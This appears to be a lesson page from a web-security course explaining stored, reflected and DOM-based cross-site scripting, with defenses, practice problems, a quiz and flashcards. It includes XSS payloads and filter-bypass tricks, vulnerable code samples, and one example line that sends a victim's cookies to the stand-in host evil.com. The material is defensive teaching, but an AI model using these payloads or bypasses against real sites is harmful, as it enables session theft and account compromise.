Skip to content
intermediate Phase 7 · Web Vulnerabilities and the OWASP Top 10

Cross-Site Scripting Variants

Differentiate stored, reflected, and DOM-based script injection.

55m
0 problems
Topic Progress 0%

The Three XSS Variants

Cross-Site Scripting: When the Browser Executes Attacker-Controlled Code

Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. The script executes in the victim's browser with the same origin privileges as the legitimate application, enabling session theft, credential harvesting, defacement, and malware distribution.

Stored XSS (Persistent)

Stored XSS is the most dangerous variant. The malicious script is permanently stored on the server — in a database, comment field, forum post, or user profile — and executes every time a victim views the affected page.

Attack flow:

  1. Attacker submits a comment containing <script>fetch('https://evil.com/?c='+document.cookie)</script>
  2. The server stores the comment in the database without sanitization
  3. Every user who views the comment page has the script execute in their browser
  4. The script sends the victim's session cookie to the attacker's server

Real-world example: In 2005, the MySpace Samy worm used stored XSS to propagate to over one million profiles in 20 hours. The payload was stored in profile HTML and executed every time someone viewed the infected profile.

Key characteristic: The attack affects every user who views the compromised content, making it a mass-exploitation vector.

Reflected XSS (Non-Persistent)

Reflected XSS occurs when user input is immediately reflected back in the server's response without being stored. The payload is typically delivered via a crafted URL that the victim must click.

Attack flow:

  1. Attacker crafts a URL: https://example.com/search?q=<script>alert(document.cookie)</script>
  2. The search endpoint reflects the query parameter into the HTML response without encoding
  3. Attacker sends the URL to a victim (via email, social media, etc.)
  4. Victim clicks the link, the script executes in their browser

Vulnerable code:

@app.route('/search')
def search():
    query = request.args.get('q', '')
    return f'<h1>Results for: {query}</h1>'  # VULNERABLE

Key characteristic: The attack requires social engineering — the victim must click the malicious link. It is not persistent.

DOM-Based XSS

DOM-based XSS is unique because the vulnerability exists entirely in client-side JavaScript. The server sends clean, safe HTML, but unsafe JavaScript manipulates the DOM using attacker-controlled data.

Attack flow:

  1. Attacker crafts a URL with a fragment: https://example.com/page#<img src=x onerror=alert(1)>
  2. Client-side JavaScript reads location.hash and inserts it into the DOM
  3. The injected HTML executes without ever touching the server

Vulnerable code:

// VULNERABLE — writes user-controlled data directly into the DOM
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;

Key characteristic: The attack never reaches the server. Traditional server-side WAFs and input filters cannot detect it. Defense must happen in the client-side code.

Comparison Table

Property Stored XSS Reflected XSS DOM-Based XSS
Payload location Server database URL parameter URL fragment
Persistence Permanent None None
Victim interaction Viewing a page Clicking a link Clicking a link
Server involvement Stores payload Reflects payload None
WAF detectable Yes Yes No
Severity High Medium Medium

XSS Payloads, Bypasses, and Defense

XSS Payloads and Context-Aware Defense

Understanding XSS payloads and filter bypasses is essential for both attacking and defending applications. This chapter covers practical payload techniques and the defense mechanisms that stop them.

Common XSS Payloads

Basic script injection:

<script>alert(document.cookie)</script>

Event handler injection (when script tags are blocked):

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

JavaScript URI scheme:

<a href="javascript:alert(1)">Click</a>

Template literal injection (in JavaScript contexts):

${alert(1)}

DOM clobbering:

<form id="cookie"><input name="value"></form>
<!-- Now document.cookie.value exists and can shadow the real cookie -->

Filter Bypass Techniques

Attackers use various techniques to bypass input filters:

Case variation: <ScRiPt>alert(1)</ScRiPt>

Encoding: %3Cscript%3Ealert(1)%3C/script%3E (URL encoding)

Null byte injection: <%00script>alert(1)</script>

Double encoding: %253Cscript%253E (bypasses single-decode filters)

HTML entity encoding: &lt;script&gt;alert(1)&lt;/script&gt;

Unicode normalization: <\u0073cript>alert(1)</script>

Attribute breakout: If input is placed inside an attribute, break out with " onmouseover="alert(1)

Context-Aware Output Encoding

The critical defense principle: encode for the specific output context. The same payload requires different encoding depending on where it appears.

HTML body context:

import html
safe = html.escape(user_input)  # < > & " ' become entities

HTML attribute context:

safe = html.escape(user_input, quote=True)  # Also escapes quotes

JavaScript context:

// JSON.stringify for JavaScript string values
const safe = JSON.stringify(userInput);

URL context:

const safe = encodeURIComponent(userInput);

CSS context:

/* Only allow alphanumeric and specific safe characters */
/* Use a strict allow-list approach */

Content Security Policy (CSP)

CSP is a browser-enforced policy that restricts which resources (scripts, styles, images) can load and execute. It is the most effective defense-in-depth against XSS.

Basic CSP header:

Content-Security-Policy: default-src 'self'; script-src 'self'

This policy blocks all inline scripts, external scripts from other domains, and event handlers. Even if an attacker injects <script>alert(1)</script>, the browser refuses to execute it.

Nonce-based CSP (allows specific inline scripts):

Content-Security-Policy: script-src 'nonce-abc123'
<script nonce="abc123">/* trusted inline script */</script>

Practice: Find the XSS

Review this code and identify all XSS vectors:

// Client-side rendering
const params = new URLSearchParams(window.location.search);
const name = params.get('name');

// Vector 1: innerHTML
document.getElementById('welcome').innerHTML = `Welcome, ${name}!`;

// Vector 2: document.write
document.write(`<div>${name}</div>`);

// Vector 3: eval
eval(`console.log('${name}')`);

// Vector 4: setAttribute with javascript: URL
document.getElementById('link').setAttribute('href', name);

All four vectors are exploitable. Vector 1 and 2 allow HTML injection. Vector 3 allows arbitrary JavaScript execution. Vector 4 allows javascript: URI injection. The fix is to use textContent instead of innerHTML, never use eval, and validate URLs against an allow-list of schemes (http, https, mailto).

Practice Problems

0 / 2 solved
Identify the XSS Variant

For each scenario, identify whether it is stored, reflected, or DOM-based XSS and explain why: 1. A blog comment section stores user comments and displays them to all visitors. An attacker posts a comment with a script tag. 2. A search page reflects the search query in the results page. The query parameter is not encoded. 3. A single-page application reads `window.location.hash` and inserts it into the DOM using `innerHTML`.

Solution
1. **Stored XSS** — The malicious script is permanently stored in the database and executes for every visitor who views the comment. The server is involved in storing and serving the payload.
2. **Reflected XSS** — The payload is reflected in the server's immediate response via the URL parameter. It is not stored; the victim must click a crafted link.
3. **DOM-based XSS** — The vulnerability exists entirely in client-side JavaScript. The server sends clean HTML, but the client-side code unsafely inserts `location.hash` into the DOM. The payload never touches the server.
Fix DOM-Based XSS

The following code is vulnerable to DOM-based XSS. Rewrite it securely: ```javascript const hash = window.location.hash.substring(1); document.getElementById('output').innerHTML = hash; ```

Solution
Use `textContent` instead of `innerHTML` to prevent HTML parsing:

```javascript
const hash = window.location.hash.substring(1);
document.getElementById('output').textContent = hash;
```

`textContent` treats the input as plain text, not HTML. Even if the hash contains `<script>alert(1)</script>`, it will be displayed as literal text, not executed. If HTML rendering is required, use a sanitization library like DOMPurify:

```javascript
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = DOMPurify.sanitize(hash);
```

Quiz

1. Which XSS variant is most dangerous because it affects every user who views the compromised content without requiring any user interaction beyond visiting the page?

Question 1 options

2. A single-page application reads `window.location.hash` and inserts it into the DOM using `innerHTML`. The server never processes the hash. What type of XSS is this?

Question 2 options

3. Why is context-aware output encoding critical for XSS prevention?

Question 3 options

4. Which Content Security Policy directive prevents execution of inline scripts and event handlers?

Question 4 options

5. An attacker injects `<img src=x onerror=alert(1)>` into a comment field. The application filters out `<script>` tags but does not filter other HTML tags. Which XSS technique is the attacker using?

Question 5 options

Flashcards

Question

What is the difference between stored and reflected XSS?

Answer

Stored XSS persists the malicious script on the server (database) and executes for every viewer. Reflected XSS bounces the payload off the server in an immediate response and requires the victim to click a crafted link.

Question

What makes DOM-based XSS unique?

Answer

The vulnerability exists entirely in client-side JavaScript. The server sends clean HTML, but unsafe JavaScript manipulates the DOM using attacker-controlled data (e.g., location.hash). Server-side WAFs cannot detect it.

Question

What is the payload `<img src=x onerror=alert(1)>` an example of?

Answer

Event handler injection — an XSS technique that uses HTML element event handlers (onerror, onload, onclick) to execute JavaScript when script tags are blocked.

Question

Why is context-aware output encoding necessary?

Answer

The same payload requires different encoding depending on the output context (HTML body, HTML attribute, JavaScript, URL, CSS). Using the wrong encoding for a context leaves vulnerabilities.

Question

What does `script-src 'self'` in a Content Security Policy accomplish?

Answer

It restricts script execution to same-origin sources only, blocking all inline scripts, event handlers, and external scripts from other domains — even if an attacker successfully injects them.

Revision Notes

Key Takeaways

  • 1. Stored XSS persists malicious script in the database and executes for every viewer — the most dangerous variant
  • 2. Reflected XSS bounces the payload off the server in an immediate response and requires victim interaction
  • 3. DOM-based XSS exists entirely in client-side JavaScript and bypasses server-side defenses
  • 4. Context-aware output encoding is critical — the same payload requires different encoding for different contexts
  • 5. Content Security Policy with `script-src 'self'` blocks inline scripts and event handlers even if injection succeeds

Interview Tips

  • • Differentiate the three XSS variants with concrete examples of each — interviewers test whether you understand the delivery mechanism, not just the definition
  • • Explain why DOM-based XSS bypasses server-side WAFs and how to defend against it (CSP, safe DOM APIs)
  • • Discuss context-aware output encoding with specific examples of what encoding is needed for each context
  • • Connect XSS to OWASP Top 10 2021 (A03: Injection) and explain why it was reclassified from its own category

Cheat Sheet

Cross-Site Scripting Variants Cheat Sheet

Phase: Web Vulnerabilities and the OWASP Top 10 | Level: intermediate

XSS Variants:

  • Stored XSS: Payload stored in database, executes for every viewer. Most dangerous.
  • Reflected XSS: Payload reflected in server response via URL parameter. Requires victim to click link.
  • DOM-based XSS: Vulnerability in client-side JavaScript. Server never processes payload.

Common Payloads:

  • <script>alert(1)</script> — basic script injection
  • <img src=x onerror=alert(1)> — event handler injection
  • javascript:alert(1) — URI scheme injection
  • ${alert(1)} — template literal injection

Defense:

  • Context-aware output encoding (HTML, attribute, JS, URL, CSS)
  • Content Security Policy: script-src 'self'
  • Use textContent instead of innerHTML
  • Never use eval()
  • Sanitize with DOMPurify if HTML rendering is required

Key points:

  • Stored XSS persists malicious script in the database for every visitor to execute
  • Reflected XSS bounces the payload off the server in an immediate response
  • DOM-based XSS runs entirely in the browser when unsafe JavaScript handles location data
  • Output encoding must match the specific output context

Tags: xss, web-security

Continue Learning

Before You Start

  • No prerequisites listed.

Next Topics